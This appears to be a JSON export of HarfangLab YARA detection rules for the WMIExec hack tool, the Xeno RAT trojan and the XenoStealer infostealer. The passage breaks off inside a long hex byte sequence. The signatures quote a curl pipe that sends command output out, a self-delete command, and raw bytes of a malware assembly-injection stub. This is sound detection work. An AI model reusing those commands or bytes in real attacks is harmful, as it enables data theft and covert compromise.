+  "content": "rule wmiexec {\n    meta:\n        title = \"WMIExec Python HackTool\"\n        id = \"65db29cf-fc11-4c83-a64f-c5db6dc14921\"\n        description = \"Detects the execution of WMIExec, a set of Python scripts designed to enable command execution via the Windows Management Instrumentation (WMI) protocol.\\nWMIExec is a tool that allows attackers to execute commands on remote systems using WMI, a distributed component object model (DCOM) service. This rule identifies the activity by detecting specific patterns in process execution and network communication attempts associated with WMIExec.\\nIt is recommended to dump the affected process and investigate WMI activity for potential malicious communication.\"\n        references = \"https://github.com/WKL-Sec/WMIExec/tree/main\"\n        date = \"2023-09-01\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1047;attack.t1053.005\"\n        classification = \"Windows.HackTool.WMIExec\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ddc34a6013c879cc644bce1fb23e52312e890c783eead6009633436fb1478454\n        // ef3e251f57f4ef72a417f39441c7f7fe62f4fbe60493affa4409513710ace1c0\n\n        $common = \"kleiton0x7e\" ascii\n\n        $schtasks_1 = \"[+] Command will be executed on\" ascii\n        $schtasks_2 = \"Failed to connect to the remote WMI namespace:\" fullword ascii\n        $schtasks_3 = \"[+] Command executed successfully. Job ID:\" fullword ascii\n\n        $w32process_1 = \" | curl -X POST -k -H 'Content-Type: text/plain' --data-binary @-\" ascii\n        $w32process_2 = \"[+] Command executed successfully. Process ID:\" ascii\n\n    condition:\n        $common and (all of ($schtasks_*) or all of ($w32process_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "wmiexec"
+  ],
+  "rule_creation_date": "2023-09-01",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.WMIExec"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047",
+    "attack.t1053.005"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-xenorat_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567392Z",
+  "creation_date": "2026-03-23T11:46:25.567394Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567399Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/moom825/xeno-rat/\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xenorat"
+  ],
+  "name": "xenorat.yar",
+  "content": "rule xeno_rat {\n    meta:\n        title = \"Xeno RAT\"\n        id = \"0275a808-0da9-4d55-a0e7-b4ae5266d314\"\n        description = \"Detects the Xeno RAT Client, an open-source Remote Access Tool (RAT) written in C#.\\nXeno RAT is designed to provide remote control capabilities for computers. This tool has been abused by various threat actors for malicious activities, including unauthorized access and data exfiltration. The malware establishes communication channels and can perform actions such as process enumeration and persistence mechanisms.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/moom825/xeno-rat/\\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xenorat\"\n        date = \"2024-11-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1219\"\n        classification = \"Windows.Trojan.XenoRAT\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7\n        // 7b1b1f0b3e2428bb69a5c61fdbc573fd7e0a8ef27094ca1504c7fac173ff0a8e\n        // 45d32d2bcbd32fe8ca74472498a2a7429d1ce6fd5ea7283892ed81f128ca8ca1\n        // a613c952168c9a5fb4bd937d036857f1759a0dde6019f147d41df1ccf3aeedf7\n        // eef18c81faeee1877aa9cd8d8aef18b643a434fd3da221cc724070ec863e5fcd\n        // 4079c8b353cbed438c29fe62ff7315fea2a90ff3cc16055801939f647d2f2d26\n        // 9037601de282b706cf457116b42b3d36e3ccd7842b13b08efced4337230ced80\n\n        $generic_s1 = \"SELECT * FROM AntivirusProduct\" wide fullword\n        $generic_s2 = \"SELECT * FROM Win32_OperatingSystem\" wide fullword\n        $generic_s3 = \"CreateEncryptor\" wide fullword\n        $generic_s4 = \"nothingset\" wide fullword\n        $generic_s5 = \"\\\\root\\\\SecurityCenter2\" wide fullword\n        $generic_s6 = \"/query /v /fo csv\" wide fullword\n        $generic_s7 = \"/C choice /C Y /N /D Y /T 3 & Del\" wide fullword\n        $generic_s8 = \"/query /v /fo csv\" base64 // base64 encoded in newer versions\n        $generic_s9 = \"/C choice /C Y /N /D Y /T 3 & Del\" base64 // base64 encoded in newer versions\n\n        $specific_s1 = \"XenoUpdateManager\" wide fullword\n        $specific_s2 = \"xeno rat client\" wide fullword\n        $specific_s3 = \"xeno_rat_\" wide nocase\n\n        // https://github.com/moom825/xeno-rat/blob/eb8edbd58a52c0646214c4c1c85414d25e085d86/xeno%20rat%20client/Utils.cs#L88\n        $stub_isadmin = {\n            16                // ldc.i4       0x0\n            0A                // stloc        local0\n            [0-2]\n            28 [4]            // call         [shell32.IsUserAnAdmin]\n            0A                // stloc        local0\n            [0-2]\n            DE 03             // leave.s      .1\n            26                // pop\n            [0-2]\n            DE 00             // leave.s      .1\n            [1-5]\n            2A                // ret\n        }\n\n        // https://github.com/moom825/xeno-rat/blob/eb8edbd58a52c0646214c4c1c85414d25e085d86/xeno%20rat%20client/Utils.cs#L98\n        $stub_getantivirus = {\n            73 [4]            // newobj       [System.Collections.GenericList`1<string>.ctor]\n            [0-2]\n            72 [4]            // ldstr        \"\\\\\\\\\"\n            28 [4]            // call         [System.Environment.get_MachineName]\n            72 [4]            // ldstr        \"\\\\root\\\\SecurityCenter2\"\n            28 [4]            // call         [System.String.Concat]\n            [0-2]\n            72 [4]            // ldstr        \"SELECT * FROM AntivirusProduct\"\n            73 [4]            // newobj       [System.Management.ManagementObjectSearcher.ctor]\n            0B                // stloc        local1\n            [0-2]\n            07                // ldloc        local1\n            6F [4]            // callvirt     [System.Management.ManagementObjectSearcher.get]\n            6F [4]            // callvirt     [System.Management.ManagementObjectCollection.GetEnumerator]\n            0C                // stloc        local2\n            2B ??             // br.s         .3\n            08                // ldloc        local2\n            6F [4]            // callvirt     [System.Management.ManagementObjectCollection.ManagementObjectEnumerator.get_Current]\n            [0-5]\n            72 [4]            // ldstr        \"displayName\"\n            6F [4]            // callvirt     [System.ManagementBaseObject.GetPropertyValue]\n            6F                // callvirt     [System.Object.ToString]\n        }\n\n        // https://github.com/moom825/xeno-rat/blob/eb8edbd58a52c0646214c4c1c85414d25e085d86/xeno%20rat%20client/Utils.cs#L56\n        $stub_active_window_caption = {\n            7E [4]            // ldsfld       [System.String.Empty]\n            0A                // stloc        local0\n            28 [4]            // call         [user32.GetForegroundWindow]\n            0B                // stloc        local1\n            07                // ldloc        local1\n            28 [4]            // call         [user32.GetWindowTextLength]\n            17                // ldc.i4       0x1\n            58                // add\n            0C                // stloc        local2\n            08                // ldloc        local2\n            73 [4]            // newobj       [System.Text.StringBuilder.ctor]\n            0D                // stloc        local3\n            07                // ldloc        local1\n            09                // ldloc        local3\n            08                // ldloc        local2\n            28 [4]            // call         [user32.GetWindowText]\n            16                // ldc.i4       0x0\n            [2-10]\n            6F                // callvirt     [System.Object.ToString]\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and\n        (\n            all of ($stub_*) or\n            (\n                4 of ($generic_s*) and\n                1 of ($specific_s*)\n            )\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "xeno_rat"
+  ],
+  "rule_creation_date": "2024-11-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.XenoRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-xenostealer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572532Z",
+  "creation_date": "2026-03-23T11:46:25.572534Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572540Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/moom825/XenoStealer\nhttps://www.elastic.co/security-labs/katz-and-mouse-game\nhttps://attack.mitre.org/techniques/T1555/"
+  ],
+  "name": "xenostealer.yar",
+  "content": "rule xenostealer {\n    meta:\n        title = \"XenoStealer Infostealer\"\n        id = \"6ed58aee-da9f-4d6a-b6a4-391c641c8d44\"\n        description = \"Detects XenoStealer Infostealer.\\nXenoStealer is an information-stealing malware sold as Malware-as-a-Service that targets sensitive data from web browsers, cryptocurrency wallets, and various applications, drawing inspiration from established stealers like Vidar and Raccoon.\\nIt is recommended to verify the process for its legitimacy and establish the origin of the executable.\"\n        references = \"https://github.com/moom825/XenoStealer\\nhttps://www.elastic.co/security-labs/katz-and-mouse-game\\nhttps://attack.mitre.org/techniques/T1555/\"\n        date = \"2025-05-06\"\n        modified = \"2025-07-02\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555.003\"\n        classification = \"Windows.Stealer.XenoStealer\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $stub_injectassemblyx64 = {\n            55 48 89 E5 48 83 EC 40 49 89 CC 41 FF 54 24 10 48 89 C1 BA 08 00 00 00 41 B8 00 04 00 00 41 FF 14 24 48 89 C3 49 8B 04 24 48 89 83 90 01 00 00 49 8B 44 24 08 48 89 83 98 01 00 00 49 8B 44 24 10 48 89 83 A0 01 00 00 49 8B 44 24 18 48 89 83 A8 01 00 00 49 8B 44 24 20 48 89 83 B0 01 00 00 49 8B 44 24 28 48 89 83 D0 00 00 00 49 8B 44 24 30 48 89 83 D8 00 00 00 4C 89 E0 48 83 C0 40 48 89 83 58 02 00 00 4C 89 E0 48 83 C0 40 49 03 44 24 38 48 83 C0 08 48 89 83 60 02 00 00 E8 8B 06 00 00 48 83 F8 00 0F 84 EC 03 00 00 48 89 5B 08 E8 41 04 00 00 48 89 43 10 E8 81 04 00 00 48 89 43 18 48 8B 4B 10 48 8B 53 18 4C 8B 43 08 FF 93 F8 01 00 00 48 83 F8 00 0F 85 BA 03 00 00 48 8B 03 48 8B 00 48 8B 40 28 48 89 43 20 48 89 D8 48 83 C0 28 48 89 43 30 48 8B 0B 48 8B 53 30 FF 53 20 48 83 F8 00 0F 85 8D 03 00 00 E8 78 04 00 00 48 89 43 38 48 89 D8 48 83 C0 40 48 89 43 48 48 89 D8 48 83 C0 50 48 89 43 58 48 8B 43 28 48 8B 00 48 8B 40 18 48 89 43 60 48 8B 4B 28 48 C7 C2 01 00 00 00 4C 8B 43 58 49 C7 C1 00 00 00 00 FF 53 60 48 83 F8 00 75 1A 48 8B 43 50 48 8B 00 48 8B 00 48 8B 4B 50 48 8B 53 38 4C 8B 43 48 FF D0 EB C7 48 83 7B 40 00 0F 84 1B 03 00 00 48 8B 43 40 48 8B 00 48 8B 40 48 48 89 43 68 E8 40 04 00 00 48 89 43 70 E8 80 04 00 00 48 89 43 78 48 89 D8 48 05 80 00 00 00 48 89 83 88 00 00 00 48 8B 4B 40 48 8B 53 78 4C 8B 43 70 4C 8B 8B 88 00 00 00 FF 53 68 48 83 F8 00 0F 85 CA 02 00 00 48 83 BB 80 00 00 00 00 0F 84 BC 02 00 00 48 8B 83 80 00 00 00 48 8B 00 48 8B 40 50 48 89 83 90 00 00 00 48 8B 8B 80 00 00 00 FF 93 90 00 00 00 48 83 F8 00 0F 85 90 02 00 00 48 8B 83 80 00 00 00 48 8B 00 48 8B 40 68 48 89 83 98 00 00 00 48 89 D8 48 05 A0 00 00 00 48 89 83 A8 00 00 00 E8 31 04 00 00 48 89 83 B0 00 00 00 48 8B 8B 80 00 00 00 48 8B 93 A8 00 00 00 FF 93 98 00 00 00 48 83 BB A0 00 00 00 00 0F 84 3D 02 00 00 48 89 D8 48 05 B8 00 00 00 48 89 83 C0 00 00 00 48 8B 83 A0 00 00 00 48 8B 00 48 8B 00 48 89 83 C8 00 00 00 48 8B 8B A0 00 00 00 48 8B 93 B0 00 00 00 4C 8B 83 C0 00 00 00 FF 93 C8 00 00 00 48 83 BB B8 00 00 00 00 0F 84 F0 01 00 00 B9 08 00 00 00 E8 F2 01 00 00 48 89 83 E0 00 00 00 48 8B 93 D8 00 00 00 89 10 C7 40 04 00 00 00 00 B9 11 00 00 00 BA 01 00 00 00 4C 8B 83 E0 00 00 00 FF 93 C8 01 00 00 48 89 83 E8 00 00 00 48 8B 8B E8 00 00 00 FF 93 D0 01 00 00 48 8B 83 E8 00 00 00 48 8B 48 10 48 8B 93 D0 00 00 00 4C 8B 83 D8 00 00 00 E8 9A 03 00 00 48 8B 8B E8 00 00 00 FF 93 D8 01 00 00 48 89 D8 48 05 F0 00 00 00 48 89 83 F8 00 00 00 48 8B 83 B8 00 00 00 48 8B 00 48 8B 80 68 01 00 00 48 89 83 00 01 00 00 48 8B 8B B8 00 00 00 48 8B 93 E8 00 00 00 4C 8B 83 F8 00 00 00 FF 93 00 01 00 00 48 83 F8 00 48 83 BB F0 00 00 00 00 0F 84 24 01 00 00 48 89 D8 48 05 08 01 00 00 48 89 83 10 01 00 00 E8 65 03 00 00 48 89 83 18 01 00 00 48 8B 83 F0 00 00 00 48 8B 00 48 8B 80 88 00 00 00 48 89 83 20 01 00 00 48 8B 8B F0 00 00 00 48 8B 93 18 01 00 00 4C 8B 83 10 01 00 00 FF 93 20 01 00 00 48 83 F8 00 0F 85 CB 00 00 00 48 83 BB 08 01 00 00 00 0F 84 BD 00 00 00 B9 0C 00 00 00 BA 00 00 00 00 41 B8 00 00 00 00 FF 93 E8 01 00 00 48 89 83 28 01 00 00 E8 0E 03 00 00 48 89 83 30 01 00 00 E8 02 03 00 00 48 89 83 38 01 00 00 48 8B 83 08 01 00 00 48 8B 00 48 8B 80 C8 01 00 00 48 89 83 40 01 00 00 E8 A4 02 00 00 48 89 83 48 01 00 00 48 8B 8B 08 01 00 00 48 8B 93 48 01 00 00 41 B8 18 01 00 00 41 B9 00 00 00 00 48 8B 83 30 01 00 00 48 89 44 24 20 48 8B 83 28 01 00 00 48 89 44 24 28 48 8B B3 38 01 00 00 48 8B 06 48 89 44 24 30 48 8B 46 08 48 89 44 24 38 48 8B 46 10 48 89 44 24 3E FF 93 40 01 00 00 48 83 F8 00 75 05 48 89 EC 5D C3 48 C7 C0 FF FF FF FF 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 48 89 4D F8 FF 93 A0 01 00 00 48 89 C1 BA 08 00 00 00 4C 8B 45 F8 FF 93 90 01 00 00 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 48 89 4D F8 FF 93 A0 01 00 00 48 89 C1 BA 00 00 00 00 4C 8B 45 F8 FF 93 98 01 00 00 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 B9 10 00 00 00 E8 9C FF FF FF C7 00 8D 18 80 92 66 C7 40 04 8E 0E 66 C7 40 06 67 48 C6 40 08 B3 C6 40 09 0C C6 40 0A 7F C6 40 0B A8 C6 40 0C 38 C6 40 0D 84 C6 40 0E E8 C6 40 0F DE 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 B9 10 00 00 00 E8 53 FF FF FF C7 00 9E DB 32 D3 66 C7 40 04 B3 B9 66 C7 40 06 25 41 C6 40 08 82 C6 40 09 07 C6 40 0A A1 C6 40 0B 48 C6 40 0C 84 C6 40 0D F5 C6 40 0E 32 C6 40 0F 16 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 B9 10 00 00 00 E8 0A FF FF FF C7 00 D2 D1 39 BD 66 C7 40 04 2F BA 66 C7 40 06 6A 48 C6 40 08 89 C6 40 09 B0 C6 40 0A B4 C6 40 0B B0 C6 40 0C CB C6 40 0D 46 C6 40 0E 68 C6 40 0F 91 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 B9 10 00 00 00 E8 C1 FE FF FF C7 00 22 67 2F CB 66 C7 40 04 3A AB 66 C7 40 06 D2 11 C6 40 08 9C C6 40 09 40 C6 40 0A 00 C6 40 0B C0 C6 40 0C 4F C6 40 0D A3 C6 40 0E 0A C6 40 0F 3E 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 B9 10 00 00 00 E8 78 FE FF FF C7 00 23 67 2F CB 66 C7 40 04 3A AB 66 C7 40 06 D2 11 C6 40 08 9C C6 40 09 40 C6 40 0A 00 C6 40 0B C0 C6 40 0C 4F C6 40 0D A3 C6 40 0E 0A C6 40 0F 3E 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 B9 10 00 00 00 E8 2F FE FF FF C7 00 DC 96 F6 05 66 C7 40 04 29 2B 66 C7 40 06 63 36 C6 40 08 AD C6 40 09 8B C6 40 0A C4 C6 40 0B 38 C6 40 0C 9C C6 40 0D F2 C6 40 0E A7 C6 40 0F 13 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 8A 02 88 01 48 FF C2 48 FF C1 49 FF C8 49 83 F8 00 75 ED B8 01 00 00 00 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 48 8B 83 60 02 00 00 48 89 C1 FF 93 E0 01 00 00 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 48 8B 83 58 02 00 00 48 89 C1 FF 93 E0 01 00 00 48 89 EC 5D C3 55 48 89 E5 48 83 EC 20 B9 18 00 00 00 E8 87 FD FF FF 50 48 89 C1 FF 93 F0 01 00 00 58 48 89 EC 5D C3 55 48 89 E5 48 83 EC 28 41 54 B9 0C 00 00 00 E8 63 FD FF FF C6 00 6D C6 40 01 73 C6 40 02 63 C6 40 03 6F C6 40 04 72 C6 40 05 65 C6 40 06 65 C6 40 07 2E C6 40 08 64 C6 40 09 6C C6 40 0A 6C C6 40 0B 00 49 89 C4 48 89 C1 FF 93 A8 01 00 00 48 83 F8 00 0F 84 B0 03 00 00 48 89 83 B8 01 00 00 4C 89 E1 E8 38 FD FF FF B9 0D 00 00 00 E8 05 FD FF FF C6 00 6F C6 40 01 6C C6 40 02 65 C6 40 03 61 C6 40 04 75 C6 40 05 74 C6 40 06 33 C6 40 07 32 C6 40 08 2E C6 40 09 64 C6 40 0A 6C C6 40 0B 6C C6 40 0C 00 49 89 C4 48 89 C1 FF 93 A8 01 00 00 48 83 F8 00 0F 84 4E 03 00 00 48 89 83 C0 01 00 00 4C 89 E1 E8 D6 FC FF FF B9 10 00 00 00 E8 A3 FC FF FF C6 00 53 C6 40 01 61 C6 40 02 66 C6 40 03 65 C6 40 04 41 C6 40 05 72 C6 40 06 72 C6 40 07 61 C6 40 08 79 C6 40 09 43 C6 40 0A 72 C6 40 0B 65 C6 40 0C 61 C6 40 0D 74 C6 40 0E 65 C6 40 0F 00 49 89 C4 48 8B 8B C0 01 00 00 48 89 C2 FF 93 B0 01 00 00 48 83 F8 00 0F 84 D9 02 00 00 48 89 83 C8 01 00 00 4C 89 E1 E8 61 FC FF FF B9 0E 00 00 00 E8 2E FC FF FF C6 00 53 C6 40 01 61 C6 40 02 66 C6 40 03 65 C6 40 04 41 C6 40 05 72 C6 40 06 72 C6 40 07 61 C6 40 08 79 C6 40 09 4C C6 40 0A 6F C6 40 0B 63 C6 40 0C 6B C6 40 0D 00 49 89 C4 48 8B 8B C0 01 00 00 48 89 C2 FF 93 B0 01 00 00 48 83 F8 00 0F 84 6C 02 00 00 48 89 83 D0 01 00 00 4C 89 E1 E8 F4 FB FF FF B9 10 00 00 00 E8 C1 FB FF FF C6 00 53 C6 40 01 61 C6 40 02 66 C6 40 03 65 C6 40 04 41 C6 40 05 72 C6 40 06 72 C6 40 07 61 C6 40 08 79 C6 40 09 55 C6 40 0A 6E C6 40 0B 6C C6 40 0C 6F C6 40 0D 63 C6 40 0E 6B C6 40 0F 00 49 89 C4 48 8B 8B C0 01 00 00 48 89 C2 FF 93 B0 01 00 00 48 83 F8 00 0F 84 F7 01 00 00 48 89 83 D8 01 00 00 4C 89 E1 E8 7F FB FF FF B9 0F 00 00 00 E8 4C FB FF FF C6 00 53 C6 40 01 79 C6 40 02 73 C6 40 03 41 C6 40 04 6C C6 40 05 6C C6 40 06 6F C6 40 07 63 C6 40 08 53 C6 40 09 74 C6 40 0A 72 C6 40 0B 69 C6 40 0C 6E C6 40 0D 67 C6 40 0E 00 49 89 C4 48 8B 8B C0 01 00 00 48 89 C2 FF 93 B0 01 00 00 48 83 F8 00 0F 84 86 01 00 00 48 89 83 E0 01 00 00 4C 89 E1 E8 0E FB FF FF B9 16 00 00 00 E8 DB FA FF FF C6 00 53 C6 40 01 61 C6 40 02 66 C6 40 03 65 C6 40 04 41 C6 40 05 72 C6 40 06 72 C6 40 07 61 C6 40 08 79 C6 40 09 43 C6 40 0A 72 C6 40 0B 65 C6 40 0C 61 C6 40 0D 74 C6 40 0E 65 C6 40 0F 56 C6 40 10 65 C6 40 11 63 C6 40 12 74 C6 40 13 6F C6 40 14 72 C6 40 15 00 49 89 C4 48 8B 8B C0 01 00 00 48 89 C2 FF 93 B0 01 00 00 48 83 F8 00 0F 84 F9 00 00 00 48 89 83 E8 01 00 00 4C 89 E1 E8 81 FA FF FF B9 0C 00 00 00 E8 4E FA FF FF C6 00 56 C6 40 01 61 C6 40 02 72 C6 40 03 69 C6 40 04 61 C6 40 05 6E C6 40 06 74 C6 40 07 49 C6 40 08 6E C6 40 09 69 C6 40 0A 74 C6 40 0B 00 49 89 C4 48 8B 8B C0 01 00 00 48 89 C2 FF 93 B0 01 00 00 48 83 F8 00 0F 84 94 00 00 00 48 89 83 F0 01 00 00 4C 89 E1 E8 1C FA FF FF B9 12 00 00 00 E8 E9 F9 FF FF C6 00 43 C6 40 01 4C C6 40 02 52 C6 40 03 43 C6 40 04 72 C6 40 05 65 C6 40 06 61 C6 40 07 74 C6 40 08 65 C6 40 09 49 C6 40 0A 6E C6 40 0B 73 C6 40 0C 74 C6 40 0D 61 C6 40 0E 6E C6 40 0F 63 C6 40 10 65 C6 40 11 00 49 89 C4 48 8B 8B B8 01 00 00 48 89 C2 FF 93 B0 01 00 00 48 83 F8 00 74 1B 48 89 83 F8 01 00 00 4C 89 E1 E8 A3 F9 FF FF B8 01 00 00 00 41 5C 48 89 EC 5D C3 B8 00 00 00 00 41 5C 48 89 EC 5D C3\n        }\n\n        $stub_injectassemblyx32 = {\n            8B 44 24 04 89 C6 FF 56 08 68 00 04 00 00 6A 08 50 FF 16 89 C3 8B 06 89 83 2C 01 00 00 8B 46 04 89 83 30 01 00 00 8B 46 08 89 83 34 01 00 00 8B 46 0C 89 83 38 01 00 00 8B 46 10 89 83 3C 01 00 00 8B 46 14 89 83 90 01 00 00 8B 46 18 89 83 94 01 00 00 89 F0 83 C0 20 89 83 C8 00 00 00 89 F0 83 C0 20 03 46 1C 83 C0 04 89 83 CC 00 00 00 E8 D2 02 00 00 83 F8 00 0F 84 C1 02 00 00 89 5B 04 E8 A1 06 00 00 89 43 08 E8 D3 06 00 00 89 43 0C FF 73 04 FF 73 0C FF 73 08 FF 93 60 01 00 00 83 F8 00 0F 85 96 02 00 00 8B 03 8B 00 8B 40 14 89 43 0E 89 D8 83 C0 12 89 43 16 FF 73 16 FF 33 FF 53 0E 83 F8 00 0F 85 73 02 00 00 E8 CA 06 00 00 89 43 1A 89 D8 83 C0 1E 89 43 22 89 D8 83 C0 26 89 43 2A 8B 43 12 8B 00 8B 40 0C 89 43 2E 6A 00 FF 73 2A 6A 01 FF 73 12 FF 53 2E 83 F8 00 75 14 8B 43 26 8B 00 8B 00 FF 73 22 FF 73 1A FF 73 26 FF D0 EB DA 83 7B 1E 00 0F 84 20 02 00 00 8B 43 1E 8B 00 8B 40 24 89 43 32 E8 A6 06 00 00 89 43 36 E8 D8 06 00 00 89 43 3A 89 D8 83 C0 3E 89 43 42 FF 73 42 FF 73 36 FF 73 3A FF 73 1E FF 53 32 83 F8 00 0F 85 E5 01 00 00 83 7B 3E 00 0F 84 DB 01 00 00 8B 43 3E 8B 00 8B 40 28 89 43 46 FF 73 3E FF 53 46 83 F8 00 0F 85 C1 01 00 00 8B 43 3E 8B 00 8B 40 34 89 43 4A 89 D8 83 C0 4E 89 43 52 E8 B3 06 00 00 89 43 56 FF 73 52 FF 73 3E FF 53 4A 83 7B 4E 00 0F 84 93 01 00 00 89 D8 83 C0 5A 89 43 5E 8B 43 4E 8B 00 8B 00 89 43 62 FF 73 5E FF 73 56 FF 73 4E FF 53 62 83 7B 5A 00 0F 84 6B 01 00 00 8B 83 90 01 00 00 89 43 66 8B 83 94 01 00 00 89 43 6A 6A 08 E8 04 05 00 00 89 43 6E 8B 43 6E 8B 7B 6A 89 38 C7 40 04 00 00 00 00 FF 73 6E 6A 01 6A 11 FF 93 48 01 00 00 89 43 72 FF 73 72 FF 93 4C 01 00 00 8B 43 72 83 C0 0C FF 30 FF 73 66 FF 73 6A E8 A8 04 00 00 FF 73 72 FF 93 50 01 00 00 89 D8 83 C0 76 89 43 7A 8B 43 5A 8B 00 8B 80 B4 00 00 00 89 43 7E FF 73 7A FF 73 72 FF 73 5A FF 53 7E 83 F8 00 0F 85 E0 00 00 00 83 7B 76 00 0F 84 D6 00 00 00 89 D8 05 82 00 00 00 89 83 86 00 00 00 E8 08 06 00 00 89 83 8A 00 00 00 8B 43 76 8B 00 8B 40 44 89 83 8E 00 00 00 FF B3 86 00 00 00 FF B3 8A 00 00 00 FF 73 76 FF 93 8E 00 00 00 83 F8 00 0F 85 92 00 00 00 83 BB 82 00 00 00 00 0F 84 85 00 00 00 6A 00 6A 00 6A 0C FF 93 58 01 00 00 89 83 92 00 00 00 E8 CE 05 00 00 89 83 96 00 00 00 E8 C3 05 00 00 89 83 9A 00 00 00 8B 83 82 00 00 00 8B 00 8B 80 E4 00 00 00 89 83 9E 00 00 00 E8 96 05 00 00 89 83 A2 00 00 00 FF B3 96 00 00 00 FF B3 92 00 00 00 8B 83 9A 00 00 00 FF 70 0C FF 70 08 FF 70 04 FF 30 6A 00 68 18 01 00 00 FF B3 A2 00 00 00 FF B3 82 00 00 00 FF 93 9E 00 00 00 83 F8 00 75 03 C2 04 00 B8 FF FF FF FF C2 04 00 6A 0C E8 A3 03 00 00 C6 00 6D C6 40 01 73 C6 40 02 63 C6 40 03 6F C6 40 04 72 C6 40 05 65 C6 40 06 65 C6 40 07 2E C6 40 08 64 C6 40 09 6C C6 40 0A 6C C6 40 0B 00 50 50 FF 93 38 01 00 00 89 83 40 01 00 00 58 50 E8 7C 03 00 00 6A 0D E8 58 03 00 00 C6 00 6F C6 40 01 6C C6 40 02 65 C6 40 03 61 C6 40 04 75 C6 40 05 74 C6 40 06 33 C6 40 07 32 C6 40 08 2E C6 40 09 64 C6 40 0A 6C C6 40 0B 6C C6 40 0C 00 50 50 FF 93 38 01 00 00 89 83 44 01 00 00 58 50 E8 2D 03 00 00 6A 10 E8 09 03 00 00 C6 00 53 C6 40 01 61 C6 40 02 66 C6 40 03 65 C6 40 04 41 C6 40 05 72 C6 40 06 72 C6 40 07 61 C6 40 08 79 C6 40 09 43 C6 40 0A 72 C6 40 0B 65 C6 40 0C 61 C6 40 0D 74 C6 40 0E 65 C6 40 0F 00 50 50 FF B3 44 01 00 00 FF 93 3C 01 00 00 83 F8 00 0F 84 8F 02 00 00 89 83 48 01 00 00 58 50 E8 C3 02 00 00 6A 0E E8 9F 02 00 00 C6 00 53 C6 40 01 61 C6 40 02 66 C6 40 03 65 C6 40 04 41 C6 40 05 72 C6 40 06 